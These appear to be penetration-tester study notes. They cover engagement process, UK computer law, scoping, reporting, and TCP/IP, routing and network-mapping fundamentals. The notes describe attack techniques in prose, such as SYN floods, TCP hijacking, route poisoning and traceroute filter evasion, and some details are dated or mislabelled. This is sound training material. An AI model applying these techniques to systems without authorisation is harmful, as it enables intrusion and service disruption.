ID	Skill	Detail	Exam
A1	Engagement Lifecycle	Benefits and utility of penetration testing to the client. Structure of penetration testing, including the relevant processes and procedures. Concepts of infrastructure testing and application testing, including black box and white box formats. Project closure and debrief.	MC
A2	Law & Compliance	Knowledge of pertinent UK legal issues: • Computer Misuse Act 1990 • Human Rights Act 1998 • Data Protection Act 1998 • Police and Justice Act 2006 Impact of this legislation on penetration testing activities. Awareness of sector-specific regulatory issues.	MC
A3	Scoping	Understanding client requirements. Scoping project to fulfil client requirements. Accurate timescale scoping. Resource planning.	MC
A4	Understanding Explaining and Managing Risk	Knowledge of additional risks that penetration testing can present. Levels of risk relating to penetration testing, the usual outcomes of such risks materialising and how to mitigate the risks. Effective planning for potential DoS conditions.	MC
A5	Record Keeping, Interim Reporting & Final Results	Understanding reporting requirements. Understanding the importance of accurate and structured record keeping during the engagement.	MC P

A1 – Engagement Lifecycle

A1-a Benefits and utility of penetration testing to the client

- Highlight/identify existing and potential security risks
- Obtain recommendations to remove vulnerabilities and increase security and protection against attack.
- Can increase awareness of security issues within the client's organisation to for staff or entire personnel base.
- Meet regulatory requirements such as HMG CHECK, JSP440, PCI/Mastercard, Sarbanes Oxley, HIPPA, ISO27001, etc.
- Satisfy external customers of the client that there system meets recognised security standards

A1-b Structure of penetration testing, including the relevant processes and procedures

- Scoping the penetration test/security assessment

    - Understanding the system (size, individual technologies/components in use, its use)
    - Understanding client requirements (threats, goals)
- Agreement on procedures, timings, locations, client contacts, and level of system knowledge (black/grey/white box testing).
- Fulfilling legal requirements: NDAs, permission from all relevant parties, notifying relevant parties, etc
- Obtain permission to start assessment and then notification of start to client contacts
- Perform testing (some or all of the following):
    - Footprinting the organisation (name registration databases, Edgare, internet search engines, new groups, dns, social networking sites, etc)
    - Target identification (host up scans, ICMP pings, traceroutes, quick TCP/UDP scans)
    - Service enumeration (Full portscans, version scans, os/device identification)
    - Web site/application enumeration
    - Vulnerability identification – automated scanning and manual techniques
    - Vulnerability exploitation - if agreed with client
    - Code review
    - Immediate notification of high risk issues to client
    - Daily debrief/summaries/reports
- Notification of completion to testing
- Final debrief
- Final Reporting
- Presentation of findings
- Ongoing technical support

A1-c Concepts of infrastructure testing and application testing, including black box and white box formats

- Infrastructure testing – Security review of network connected IT equipment including security/networking devices, servers, and workstations.
- Application - Security review of computer program running on a IT system.
- Blackbox testing – Zero knowledge if internal workings
- Whitebox testing - Detailed knowledge of internal workings, for example design specs or source code (application).

A1-d Project closure and debrief

- Remove anything that was introduced to the system during the testing including restoration of all configurations and settings.
- Secure storage of any evidence, results, data obtained from system.
- Importance of being accurate results and reporting.
- Detailing findings in level relevant to ordinance.
- Secure removal of data within specified and agreed timeframe

A2 - Law & Compliance

A2a - Knowledge of pertinent UK legal issues:

- **Computer Misuse Act 1990**
    - Covers intended unauthorised access to a computer material. This includes system, data on system, and data integrity.
    - Also covers unauthorised modification of computer system or data held on a computer system. This includes impairing the operation of computer or program or preventing or hindering access to the system or data.

    - Unauthorised access to a computer system with intent to commit or facilitate further offences
    - Need to ensure you have signed permission to access systems otherwise it is a breach of the Computer Misuse Act. Also be aware of restrictions in place i.e. time restraints and exclusions of specific data/systems. Additionally all parties involved must be aware and give authorisation/permission for testing i.e. web hosting, system, and data owners.

- **Human Rights Act 1998**
    - Employees have a right to privacy while in their place of work. This right may be breached during the pen-test due to network traffic capture, access to shared resources containing personal data, terminal services type access, etc.
    - The client contract should advise users that testers may gain access to private information. The onus is then on the client to inform their employees about the testing if not covered by employment contracts warning of internet/mail/data logging and monitoring.

- **Data Protection Act 1998**
    - Client must protect customer data under the data protection act therefore so must the testers. Use encrypted storage/transfer mediums (PGP encrypted emails, encrypted disks).
    - Delete data when no longer required (i.e. pentesters should delete data when final report has been issued, or client has been supplied with data in some cases).

- **Police and Justice Act 2006**

This act has amendments to the Computer misuse act such that the act now:

    - Now includes the intent of making a system insecure to allow unauthorised access.
    - Higher punishment can be applied for breaches of the at (12 months imprisonment E&W).
    - Section 3 - “modification of computer material” is broadened to cover impairment of computer system, its data, and system/data integrity. The amendment also includes recklessness acts and well as intent.
    - Also include making, supplying, or obtaining articles for use in computer misuse. So this mainly includes viruses/worms but could equally apply to tools used explicitly for crime.

A2b - Impact of this legislation on penetration testing activities.

Covered in A1a (above).

A2c - Awareness of sector-specific regulatory issues

- Sarbanes and Oxley (SOX) - SOX is that it is primarily focused on the accuracy of financial reporting data. IT security is important under SOX to the extent that it enhances the reliability and integrity of that reporting.
- Health Insurance Portability and Accountability Act (HIPAA) –the security rules within HIPAA applies to electronic protected health information (EPHI), which is individually identifiable health information (IIHI) in electronic form. Specifically organisations under the rule must maintain reasonable and appropriate administrative, physical, and technical safeguards to protect the confidentiality, integrity, and availability of their EPHI against any reasonably anticipated risks.
- Payment Card Industry (PCI) - The PCI Data Security Standard is a security standard that includes requirements for security management, policies and procedures when dealing with payment cards details (debit, credit, prepaid, e-purse, ATM, and POS cards and associated businesses).
- CESG CHECK – the scheme provides a standard that is a mandatory pre-requisite for Central Government testing. Subscriber organizations to the scheme are required to maintain strict ethical standards, and certified individuals are automatically vetted to at least SC level security clearance
- Joint Services Protocol 440 (JSP 440) – British Ministry of Defense restricted document for security containing instructions for avoiding leaks in the information flow due to hackers, journalists, and foreign spies.
- Client Specific Non-disclosure Agreement - Client may ask you to sign a non-disclosure agreement to protect their intellectual rights and to ensure no embarrassment through disclosure of vulnerabilities.
- ISO27001 Information Security Management System (ISMS) standard – Specifies requirements for Information technology, security techniques, and information security management systems. It is intended to bring information security under explicit management control.

A3 - Scoping

A3a - Understanding client requirements

Find out what testing is required:

- Application
- Web application
- Infrastructure
- On-host analysis
- Wireless
- etc

Knowledge level required for testing:

- Zero-knowledge (black box for application) testing: - from an attacker's point of view. The disadvantage with this is time required for enumeration of potential targets and vulnerabilities.
- Full-knowledge (grey/white box for application) testing: - from a full coverage point of view.

Check list of things to cover/request:

- List of targets: IPs/IP Ranges/hostnames
- Network diagram:
    - Speed up network enumeration stage.
    - Helps confirms scope.
    - Helps understand system.
- Technology in use: OS/manufacture for infrastructure & server technology for application (i.e. IIS, apache, oracle, MS-SQL, J2EE, ASP, ASPX, C++, Java, C#, etc).
- Protection devices (IDS, firewalls, proxies that may affect testing).
- Onsite rules/policies (virus scanning requirements, ID requirements for access to site).
- Technical contact details (problems, help, target verification, etc).
- Involvement of third parties (hosting organisations, trusted partners, etc).

- Backups & customer care (inform customer should working backups, more frequent backups, increase/excessive logs for applications and protection devices/IDSs, possibly monitor/delete logs more frequently or increase disk space or disable auto shutdown (i.e. CrashOnAuditFail regkey) for full logs, request contact for IDS admin/analyst).
- System state (is it live or a test system, will customers be using system and are they aware i.e. possible performance hits on live system, if live is there a preferred testing time period [i.e. quite period, not during backups], if test does it fully represent the final system.)
- Critical systems and out of scope entities (critical systems may require more care on full time contact with technical person responsible).
- Provide source IP's for external work, request them for internal testing.

A3b - Scoping project to fulfil client requirements

- Adequate discussion with the client to ensure they are getting exactly what they require. This involves fully understanding the system under assessment, its intended business purpose, and associated security risks.
- Accurate proposals detailing the scope, indented assessment procedures, and overall outcome of the assessment.
- Agreement with client that the proposed work fulfils their requirements.
- Risk assessments and threat models are aimed to assist in this process and should be utilised.

A3c - Accurate timescale scoping

- Ensure sufficient time to cover the full scope of the assessment without compromising the overall goals. Do not underestimate the time required to complete all tasks in full – build in contingency time to accommodate unforeseen problems.
- Needs to fit in with client requirements without impacting the fulfilment of the scope. (e.g. Out of hours, number of consultants, etc).

A3d - Resource planning

- Appropriate people/skill set for the assessment to fulfil all requirements (e.g. expertise, accreditations, and security clearance).
- Fulfil client time requirements (OOH, number of consultants, other project dependencies such as system availability).

A4 - Understanding Explaining and Managing Risk

A4a - Knowledge of additional risks that penetration testing can present

- System unavailability/downtime
- Loss of confidentiality
- System crashes or data corruption
- Increases audit/IDS logs.

A4b - Levels of risk relating to penetration testing, the usual outcomes of such risks materialising and how to mitigate the risks

At a minimum, it may slow the organization's networks response time due to network scanning and vulnerability scanning. Furthermore, the possibility exists that systems may be damaged in the course of penetration testing and may be rendered inoperable, even though the organization benefits in knowing that the system could have been rendered inoperable by an intruder. Although this risk is mitigated by the use of experienced penetration testers, it can never be fully eliminated.

Dangerous things can happen as an account of pen testing such as increased IDS and security audit logs. System may also have unknown consequences like being unstable after.

A4c - Effective planning for potential DoS conditions

Backups & customer care (inform customer should working backups, more frequent backups, increase/excessive logs for applications and protection devices/IDSs, possibly monitor/delete logs more frequently or increase disk space or disable auto shutdown (i.e. CrashOnAuditFail regkey) for full logs, request contact for IDS admin/analyst).

System state (is it live or a test system, will customers be using system and are they aware i.e. possible performance hits on live system, if live is there a preferred testing time period [i.e. quite period, not during backups], if test does it fully represent the final system.)

A5 - Record Keeping, Interim Reporting & Final Results

A5a - Understanding reporting requirements

- Define within the scope of the assessment (daily report briefs, final report, management reports, etc).
- Who to address and in what detail to present the findings.
- Should certain data be included (e.g. method of exploitation, sensitive details, password, etc).

A5b - Understanding the importance of accurate and structured record keeping during the engagement

- Accuracy of results is of upmost importance so the client can access the risk. No false negatives and false positive only if not possible to confirm the result but there is still a potential risk.
- Accurate records for auditing of events during the assessment:
  - Details of who did what, on what targets, and when.
  - What was identified or observed on a target and at what time.
- If problems do occur the logs and records will help to identify the problem or prove that it was not a result of the assessment.
- Logs of all traffic to and from a system can be recorded if required.
- Output of all tools used should be accurately saved, labelled and time stamped.
- A detailed record of the procedures undertaken and the results obtained will ensure that nothing is missed and prove that a defined test methodology was adhered to during the assessment.
- Accurate record keeping can help show that you have not committed an offence under the computer misuse act.

Core Technical Skills

ID	Skill	Detail	Exam
B1	IP Protocols	IP protocols: IPv4 and IPv6, TCP, UDP and ICMP. Awareness that other IP protocols exist.	MC
B2	Network Architectures	Varying networks types that could be encountered during a penetration test: • CAT 5 / Fibre • 10/100/1000baseT • Token ring • Wireless (802.11) Security implications of shared media, switched media and VLANs.	MC
B3	Network Routing	Network routing protocols RIP, OSPF, and IGRP/EIGRP.	MC
B4	Network Mapping & Target Identification	Analysis of output from tools used to map the route between the engagement point and a number of targets. Network sweeping techniques to prioritise a target list and the potential for false negatives.	MC LF P
B5	Interpreting Tool Output	Interpreting output from port scanners, network sniffers and other network enumeration tools.	MC
B6	Filtering Avoidance Techniques	The importance of egress and ingress filtering, including the risks associated with outbound connections.	MC
B7	Packet Crafting	Packet crafting to meet a particular requirement: • Modifying source ports • Spoofing IP addresses • Manipulating TTL's • Fragmentation • Generating ICMP packets	MC
B8	OS Fingerprinting	Remote operating system fingerprinting; active and passive techniques.	MC P
B9	Application Fingerprinting and Evaluating Unknown Services	Determining server types and network application versions from application banners. Evaluation of responsive but unknown network applications.	MC P
B10	Network Access Control Analysis	Reviewing firewall rule bases and network access control lists.	MC LF
B11	Cryptography	Differences between encryption and encoding. Symmetric / asymmetric encryption Encryption algorithms: DES, 3DES, AES, RSA, RC4. Hashes: SHA1 and MD5	MC

		Message Integrity codes: HMAC	
B12	Application of Cryptography	SSL, IPsec, SSH, PGP Common wireless (802.11) encryption protocols: WEP, WPA, TKIP	MC LF
B13	File System Permissions	File permission attributes within Unix and Windows file systems and their security implications. Analysing registry ACLs.	MC P
B14	Audit Techniques	Listing processes and their associated network sockets (if any). Assessing patch levels. Finding interesting files.	MC P

B1 - IP Protocols

B1a - IP protocols: IPv4 and IPv6, TCP, UDP and ICMP

- ***Internet Protocol version 4 (IPv4)***

IP provides a host to host transport mechanism and is the workhorse of the TCP/IP protocol suite. IP provides an unreliable, connectionless datagram delivery service meaning that there are no guarantees that an IP datagram will successfully reach its destination; it is a best effort service. If something goes wrong IP has a simple error handling mechanism; it discards the datagram and tries to send an ICMP message back to the source. Any reliability must be provided by an upper layer. As IP is connectionless it does not maintain state information about successive datagrams. Datagrams can be delivered out of order so IP has a re-ordering capability. To cater for varying link layer MTUs IP also supports fragmentation of datagrams.

The IP protocol is open to spoofing and injection.

Packet Structure:

<table>
<tr><td>4bit Version</td><td>4bit Header length</td><td>8bit Type Of Service (TOS)</td><td colspan="2">16bit Total length (bytes)</td></tr>
<tr><td colspan="3">16bit Identification</td><td>3bit flags</td><td>13bit Fragmentation offset</td></tr>
<tr><td colspan="2">8bit Time To Live (TTL)</td><td>8-bit Protocol</td><td colspan="2">16bit Header checksum</td></tr>
<tr><td colspan="5">32bit Source IP address</td></tr>
<tr><td colspan="5">32bit Destination IP address</td></tr>
<tr><td colspan="5">Options (if any)</td></tr>
<tr><td colspan="5">Data</td></tr>
</table>

Addressing:

Classfull:

Class	Leading Bits	Size of *Network Number* Bit field	Size of *Rest* Bit field	Number of Networks	Addresses per Network	Start address	End address
Class A	0	8	24	128 (2^7)	16,777,216 (2^{24})	0.0.0.0	127.255.255.255

Class B	10	16	16	16,384 (2^{14})	65,536 (2^{16})	128.0.0.0	191.255.255.255
Class C	110	24	8	2,097,152 (2^{21})	256 (2^{8})	192.0.0.0	223.255.255.255
Class D (multicast)	1110	not defined	not defined	not defined	not defined	224.0.0.0	239.255.255.255
Class E (reserved)	1111	not defined	not defined	not defined	not defined	240.0.0.0	255.255.255

Classless IP addressing:

- Subnetting - Subnets were introduced to allow classful network to be subdivided. Also includes Variable Length Subnet mask (VLSM) to implement subnets of different sizes.

- CIDR - The original system of IP adress classes was replaced with Classless Inter-Domain Routing (CIDR. CIDR's primary advantage is to allow repartitioning of any address space so that smaller or larger blocks of addresses may be allocated to users. The hierarchical structure created by CIDR and overseen by the Internet Assigned Numbers Authority (IANA) and its Regional Internet Registries (RIRs), manages the assignment of Internet addresses worldwide. Each RIR maintains a publicly-searchable WHOIS database that provides information about IP address assignments; information from these databases plays a central role in numerous tools that attempt to locate IP addresses geographically.

Special Addresses:

CIDR address block	Description	Reference
0.0.0.0/8	Current network (only valid as source address)	RFC 1700
10.0.0.0/8	Private network	RFC 1918
127.0.0.0/8	Loopback	RFC 5735
169.254.0.0/16	Link-Local	RFC 3927
172.16.0.0/12	Private network	RFC 1918
192.0.0.0/24	Reserved (IANA)	RFC 5735
192.0.2.0/24	TEST-NET-1, Documentation and example code	RFC 5735
192.88.99.0/24	IPv6 to IPv4 relay	RFC 3068
192.168.0.0/16	Private network	RFC 1918
198.18.0.0/15	Network benchmark tests	RFC 2544
198.51.100.0/24	TEST-NET-2, Documentation and examples	RFC 5737
203.0.113.0/24	TEST-NET-3, Documentation and examples	RFC 5737
224.0.0.0/4	Multicasts (former Class D network)	RFC 3171
240.0.0.0/4	Reserved (former Class E network)	RFC 1700
255.255.255.255	Broadcast	RFC 919

• *Internet Protocol version 6 (IPv6)*

Internet Protocol version 6 (IPv6) is the next-generation Internet Protocol version designated as the successor to IPv4. The main reason for the development of IPv6 was to solve the problem of IPv4 address exhaustion. IPv6 has a vastly larger address space than IPv4. This results from the use of a 128-bit address, whereas IPv4 uses only 32 bits. The new address space thus supports 2^{128} (about 3.4×10^{38}) addresses. IPv6 also implements new features that simplify aspects of address assignment (stateless address autoconfiguration) and network renumbering (prefix and router announcements) when changing Internet connectivity providers. The IPv6 subnet size has been standardized by fixing the size of the host identifier portion of an address to 64 bits to facilitate an automatic mechanism for forming the host identifier from Link Layer media addressing information (MAC address). Network security is integrated into the design of the IPv6 architecture. Internet Protocol Security (IPsec) was originally developed for IPv6, but found widespread optional deployment first in IPv4 (into which it was back-engineered). The IPv6 specifications mandate IPsec implementation as a fundamental interoperability requirement.

Packet Structure:

<table>
<tr><td>4bit Version</td><td>8bit Traffic Class</td><td colspan="3">20bit Flow Label</td></tr>
<tr><td colspan="3">16bit Payload Length</td><td>8bit Next header</td><td>8bit Hop limit</td></tr>
<tr><td colspan="5">128bit Source Address</td></tr>
<tr><td colspan="5">128bit Destination address</td></tr>
<tr><td colspan="5">Possible Extension headers</td></tr>
<tr><td colspan="5">Data</td></tr>
</table>

IPv6 specifies a new packet format, designed to minimize packet-header processing. Since the headers of IPv4 packets and IPv6 packets are significantly different, the two protocols are not interoperable.

Addressing:

- IPv6 addresses are normally written with hexadecimal digits and colon separators like 2001:db8:85a3::8a2e:370:7334, as opposed to the dot-decimal notation of the 32 bit IPv4 addresses. IPv6 addresses are typically composed of two logical parts: a 64-bit (sub-)network prefix, and a 64-bit host part.
- IPv6 addresses are classified into three types:
    - unicast addresses which uniquely identify network interfaces
    - anycast addresses which identify a group of interfaces—mostly at different locations—for which traffic flows to the nearest one
    - multicast addresses which are used to deliver one packet to many interfaces.
- Broadcast addresses are not used in IPv6. Each IPv6 address also has a 'scope', which specifies in which part of the network it is valid and unique. Some addresses have node scope or link scope; most addresses have global scope (i.e. they are unique globally).

• *Transmission control Protocol (TCP)*

TCP provides reliable, ordered delivery of a stream of bytes from a program on one computer to another program on another computer. Among its other management tasks, TCP controls segment size, flow control, the rate at which data is exchanged, and network traffic congestion.

Due to network congestion, traffic load balancing, or other unpredictable network behaviour, IP packets can be lost, duplicated, or delivered out of order. TCP detects these problems, requests retransmission of lost packets, rearranges out-of-order packets, and even helps minimize network congestion to reduce the occurrence of the other problems. Once the TCP receiver has finally reassembled a perfect copy of the data originally transmitted, it passes that datagram to the application program. Thus, TCP abstracts the application's communication from the underlying networking details.

TCP is a reliable stream delivery service that guarantees delivery of a data stream sent from one host to another without duplication or losing data. Since packet transfer is not reliable, a technique known as positive acknowledgment with retransmission is used to guarantee reliability of packet transfers. This fundamental technique requires the receiver to respond with an acknowledgment message as it receives the data. The sender keeps a record of each packet it sends, and waits for acknowledgment before sending the next packet.

The sender also keeps a timer from when the packet was sent, and retransmits a packet if the timer expires. The timer is needed in case a packet gets lost or corrupted.

TCP consists of a set of rules: for the protocol, that are used with the Internet Protocol, and for the IP, to send data "in a form of message units" between computers over the Internet. At the same time that IP takes care of handling the actual delivery of the data, TCP takes care of keeping track of the individual units of data transmission, called segments, that a message is divided into for efficient routing through the network.

TCP Segment Structure:

Bit offset	0	1	2	3	4	5	6	7	8	9	10	11	12	13	14	15	16	17	18	19	20	21	22	23	24	25	26	27	28	29	30	31
0	Source port																Destination port															
32	Sequence number																															
64	Acknowledgment number																															
96	Data offset				Reserved				CWR	ECE	URG	ACK	PSH	RST	SYN	FIN	Window Size															
128	Checksum																Urgent pointer															
160 ...	Options (if Data Offset > 5)																															

Protocol Operation:

TCP protocol operations may be divided into three phases. Connections must be properly established in a multi-step handshake process (connection establishment) before entering the data transfer phase. After data transmission is completed, the connection termination closes established virtual circuits and releases all allocated resources. The following state changes are maintained by the OS:

- LISTEN: In case of a server, waiting for a connection request from any remote client.
- SYN-SENT: waiting for the remote peer to send back a TCP segment with the SYN and ACK flags set. (usually set by TCP clients)
- SYN-RECEIVED: waiting for the remote peer to send back an acknowledgment after having sent back a connection acknowledgment to the remote peer. (usually set by TCP servers)
- ESTABLISHED: the port is ready to receive/send data from/to the remote peer.
- FIN-WAIT-1
- FIN-WAIT-2
- CLOSE-WAIT
- CLOSING
- LAST-ACK
- TIME-WAIT: represents waiting for enough time to pass to be sure the remote peer received the acknowledgment of its connection termination request. According to RFC 793 a connection can stay in TIME-WAIT for a maximum of four minutes.
- CLOSED

Connection Establishment:

To establish a TCP connection, the three-way (or 3-step) handshake occurs:

1. SYN A SYN is sent to the server with number to a random value A.
2. SYN ACK Server replies with a SYN-ACK with acknowledgment number is set (A + 1), and the sequence number that the server chooses for the packet is another random number, B.
3. ACK Client sends an ACK back to the server. The sequence number is set to the received acknowledgement value i.e. A + 1, and the acknowledgement number is set to one more than the received sequence number i.e. B + 1.

Data transfer:

- Ordered data transfer - the destination host rearranges according to sequence number.
- Retransmission of lost packets - any cumulative stream not acknowledged will be retransmitted.
- Discarding duplicate packets
- Error-free data transfer – checksum of the segment must be correct
- Flow control - limits the rate a sender transfers data to guarantee reliable delivery. The receiver continually hints the sender on how much data can be received (controlled by the sliding window). When the receiving host's buffer fills, the next acknowledgment contains a 0 in the window size, to stop transfer and allow the data in the buffer to be processed.
- Congestion control

Connection termination:

- A FIN is send from one side and the remote side responds with and ACK closing one side of the connection. This sequence is also completed by the other side of the connection so the resulting process is a four-way handshake.

TCP Security Problems:

Denial of service:

1. SYN Flood:
   - By using a spoofed IP address and repeatedly sending purposely assembled SYN packets, attackers can cause the server to consume large amounts of resources keeping track of the bogus connections.
   - Proposed solutions to this problem include SYN cookies and Cryptographic puzzles.
2. Sockstress is a similar attack that is new, fairly unpublished, and against which no defense is yet known (http://en.wikipedia.org/wiki/Sockstress)
3. TCP Persistant Timer DOS - Advanced DoS attack involving the exploitation of the TCP Persist Timer was analyzed at Phrack #66 (http://phrack.org/issues.html?issue=66&id=9#article).

Connection hijacking:

- An attacker who is able to eavesdrop a TCP session and redirect packets can hijack a TCP connection. To do so, the attacker learns the sequence number from the ongoing communication and forges a false segment that looks like the next segment in the stream. Such a simple hijack can result in one packet being erroneously accepted at one end. When the receiving host acknowledges the extra segment to the other side of the connection, synchronization is lost. Hijacking might be combined with ARP or routing attacks that allow taking control of the packet flow, so as to get permanent control of the hijacked TCP connection.
- TCP sequence prediction attack - Impersonating a different IP address was possible prior to RFC 1948, when the initial *sequence number* was easily guessable. That allowed an attacker to blindly send a sequence of packets that the receiver would believe to come from a different IP address, without the need to deploy ARP or routing attacks: it is enough to ensure that the legitimate host of the impersonated IP address is down, or bring it to that condition using denial of service attacks. This is why the initial sequence number is chosen at random.
- Hunt and juggernaut tools can be used to hijack tcp/ip connections.

Port Scanning:

Port open	SYN + ACK is returned
Port Closed	RST is returned

• *User Datagram Protocol (UDP)*

UDP uses a simple transmission model without implicit hand-shaking dialogues for guaranteeing reliability, ordering, or data integrity. Thus, UDP provides an unreliable service and datagrams may arrive out of order, appear duplicated, or go missing without notice. UDP assumes that error checking and correction is either not necessary or performed in the application, avoiding the overhead of such processing at the network interface level. Time-sensitive applications often use UDP because dropping packets is preferable to waiting for delayed packets, which may not be an option in a real-time system. UDP also provides broadcasting and multicasting.

Packet Structure:

bits	0 - 15	16 - 31
0	Source Port	Destination Port
32	Length	Checksum
64	Data	

TCP Security Problems:

- DOS – UDP Flood attacks. Lots of UDP packets to randon ports on a target will result in resource consumption by the victim having to send many ICMP unreachable messages. Spoofed IP will also result in the reponses going to another potential victim of the attack.
- Spoofing / MITM - Easy to spoof since no state information is maintained at either host providing the application layer doesn't have protection method. MITM is also possible using traditional ARP spoofing and routeing attacks.

Port Scans:

Port open	reply/noreply depending on application and data sent
Port closed	ICMP destination unreachable + port unreachable

Internet Control Messaging Protocol (ICMP)

ICMP communicates error messages and other conditions that require attention for TCP/IP communications. ICMP messages are usually acted on by either the IP layer or higher layer protocol (TCP or UDP). Some ICMP messages cause errors to be returned to user processes.

ICMP Header Structure:

Bits	0-7	8-15	16-23	24-31
0	Type	Code	Checksum	
32	ID		Sequence	

ICMP Types:

Type	Code	Description
0 - Echo Reply	0	Echo reply (used to ping)
1 and 2		*Reserved*
3 - Destination Unreachable	0	Destination network unreachable
	1	Destination host unreachable
	2	Destination protocol unreachable
	3	Destination port unreachable
	4	Fragmentation required, and DF flag set
	5	Source route failed
	6	Destination network unknown

	7	Destination host unknown
	8	Source host isolated
	9	Network administratively prohibited
	10	Host administratively prohibited
	11	Network unreachable for TOS
	12	Host unreachable for TOS
	13	Communication administratively prohibited
4 - Source Quench	0	Source quench (congestion control)
5 - Redirect Message	0	Redirect Datagram for the Network
	1	Redirect Datagram for the Host
	2	Redirect Datagram for the TOS & network
	3	Redirect Datagram for the TOS & host
8 - Echo Request	0	Echo request
9 - Router Advertisement	0	Router Advertisement
10 - Router Solicitation	0	Router discovery/selection/solicitation
11 - Time Exceeded	0	TTL expired in transit
	1	Fragment reassembly time exceeded
12 - Parameter Problem: Bad IP header	0	Pointer indicates the error
	1	Missing a required option
	2	Bad length
13 – Timestamp	0	Timestamp
14 - Timestamp Reply	0	Timestamp reply
15 - Information Request	0	Information Request
16 - Information Reply	0	Information Reply
17 - Address Mask Request	0	Address Mask Request
18 - Address Mask Reply	0	Address Mask Reply
30 – Traceroute	0	Information Request

Security Problems:

- Easy to spoof since no src/dst checking is performed.
- Subnet mask requests reveal network topology
- Timestamp request can obtain the system time of a target for timing based attacks
- Redirect messages can lead to routing attacks

B1b - Awareness that other IP protocols exist.

Many other protocols exist outside and inside the TCP/IP Protocol suite. Within TCP/IP IANA maintain the protocol number list originally within RFC 790. nmap has an updated list of the protocols within its program directory. Some common IANA protocol numbers include:

- 1: Internet Control Message Protocol (ICMP)
- 2: Internet Group Management Protocol (IGMP)
- 6: Transmission Control Protocol (TCP)
- 17: User Datagram Protocol (UDP)
- 89: Open Shortest Path First (OSPF)

- 132: Stream Control Transmission Protocol (SCTP)

Outside of the TCP/IP stack there are also plenty of networking protocols. Some examples include: SLIP, PPP, X25, X11, ATM, Novell IPX / SPX, etc.

B2 - Network Architectures

B2a - Varying networks types that could be encountered during a penetration test:

- **CAT 5 / Fibre**

  Category 5 cable is a twisted pair high signal integrity cable type often referred to as Cat5. Most common used network connection and should not be a problem during an assessment.
  Fibre is used in more secure environments as it is less susceptible to obtaining traffic from emitted signals. Special NICs are required to connect.

- **10/100/1000baseT**

  10BASE-T, 100BASE-TX, and 1000BASE-T, running at 10 Mbit/s (also Mbps or Mbs-1), 100 Mbit/s, and 1000 Mbit/s (1 Gbit/s) respectively. These three standards all use the same connectors. Higher speed implementations nearly always support the lower speeds as well, so that in most cases different generations of equipment can be freely mixed. They use 8 position modular connectors, usually called RJ45 in the context of Ethernet over twisted pair. The cables usually used are four-pair twisted pair cable (though 10BASE-T and 100BASE-TX only actually require two of them). Each of the three standards support both full-duplex and half-duplex communication. According to the standards, they all operate over distances of up to 100 meters.

- **Token ring**

  Token ring local area network (LAN) technology is a local area network protocol which resides at the data link layer (DLL) of the OSI model. It uses a special three-byte frame called a token that travels around the ring. Token ring frames travel completely around the loop.
  Stations on a token ring LAN are logically organized in a ring topology with data being transmitted sequentially from one ring station to the next with a control token circulating around the ring controlling access. This token passing mechanism is shared by ARCNET, token bus, and FDDI, and has theoretical advantages over the stochastic CSMA/CD of Ethernet.
  Physically, a token ring network is wired as a star, with 'hubs' and arms out to each station and the loop going out-and-back through each.

- **Wireless (802.11)**

  IEEE 802.11 is a set of standards carrying out wireless local area network (WLAN) computer communication in the 2.4, 3.6 and 5 GHz frequency bands. They are created and maintained by the IEEE LAN/MAN Standards Committee (IEEE 802).

B2b - Security implications of shared media, switched media and VLANs.

- Shared media – traffic sniffing, interception, and injection. DoS via layer 1 attacks.
- Switched media elevated the problem of sniffing unless ARP spoofing or routing attacks are undertaken. Broadcast traffic is still seen by all connected parties. Spanning tree attacks can also cause DoS conditions to occur and maybe used to re-route traffic for interception.
- A VLAN, is a group of hosts with a common set of requirements that communicate as if they were attached to the same broadcast domain, regardless of their physical location. A VLAN has the same attributes as a physical LAN, but it allows for end stations to be grouped together even if they are not located on the same network switch. Network reconfiguration can be done through software instead of physically relocating devices. VLAN hopping attacks exist to allow breaking out of a VLAN.

B3 - Network Routing

B3a - Network routing protocols RIP, OSPF, and IGRP/EIGRP.

RIP

- Simple request (1) and reply (2) protocol. Requests can be broadcast or unicast (point to point links).
- Replys contain full routing table (maybe multiple packets required)
- IP is broadcast over UDP Information leakage:
- Each routing device broadcasts it's routing table every 30 seconds. Routers can be queried for their routing table.
- All routing devices on a segment can be discovered by sending a single request for RIP updates. Lack of authentication allows easy poisoning, which can propagate out.
- A command of 1 is a REQUEST (send me 1 or all your routes) and 2 (here are my route(s) is a REPLY to a maximum of 25 routes.
- Routing devices will update their routing tables based on the information supplied by any devices claiming to be a router.
- RIP2 adds a simple authentication scheme, but this is a cleartext password and can easily be sniffed.
- Uses "distance vectoring" which means that the messages sent by RIP contain vectors of distances (hop counts). Each router updates its routing table based on the vector of the distances that it receives from its neighbours. Participants include active and passive agents, active routers advertise their routes, passive update themselves from the advertised routes. Only routers run ACTIVE. Messages contain a list of IP addresses and hop counts to those addresses.
- ripquery tool to get routing table.

OSPF

- OSPF is a newer version to RIP and overcome many of its limitations.
- OSPF is a link state protocol so the router does not exchange distances with its neighbours. Instead each router actively tests the status of its link to each of its neighbours, sends this information to its other neighbours, which then propagate it throughout the autonomous system. Each router takes this link-state information and builds a complete routing table.
- Link-state information converges (becomes stable) faster than distance vector protocols (RIP).
- Authentication is required. There are two forms of authentication allowing for internal segments as well allowing departmental devices to talk to each other. The packets can be sniffed and forged as well.

IGRP

- Interior Gateway Routing Protocol (IGRP) is a distance vector interior routing protocol (IGP) invented by Cisco. It is used by routers to exchange routing data within an autonomous system.
- IGRP is a proprietary protocol. IGRP was created in part to overcome the limitations of RIP (maximum hop count of only 15, and a single routing metric) when used within large networks. IGRP supports multiple metrics for each route, including bandwidth, delay, load, MTU, and reliability; to compare two routes these metrics are combined together into a single metric, using a formula which can be adjusted through the use of pre-set constants. The maximum hop count of IGRP-routed packets is 255 (default 100), and routing updates are broadcast every 90 seconds (by default).
- Same issues as RIP: not authentication, can spoof routers, obtain routes, update routes.

EIGRP

- Enhanced Interior Gateway Routing Protocol - (EIGRP) is a Cisco proprietary routing protocol loosely based on their original IGRP. EIGRP is an advanced distance-vector routing protocol, with optimizations to minimize both the routing instability incurred after topology changes, as well as the use of bandwidth and processing power in the router. Routers that support EIGRP will automatically redistribute route information to IGRP neighbours by converting the 32 bit EIGRP metric to the 24 bit IGRP metric. Most of the routing optimizations are based on the Diffusing Update Algorithm (DUAL) work from SRI, which guarantees loop-free operation and provides a mechanism for fast convergence.
- Same issues as RIP2

B4 - Network Mapping & Target Identification

B4a - Analysis of output from tools used to map the route between the engagement point and a number of targets

Tools:

- traceroute – Uses UDP by default but can use ICMP (echo request)

```
traceroute host        default
traceroute -I          Use ICMP echo request
traceroute -U          Do UDP with set destination port to 53 (DNS)  - filter
                       evasion (without -U port number would increment)
traceroute --sport     set source port (filter evasion)
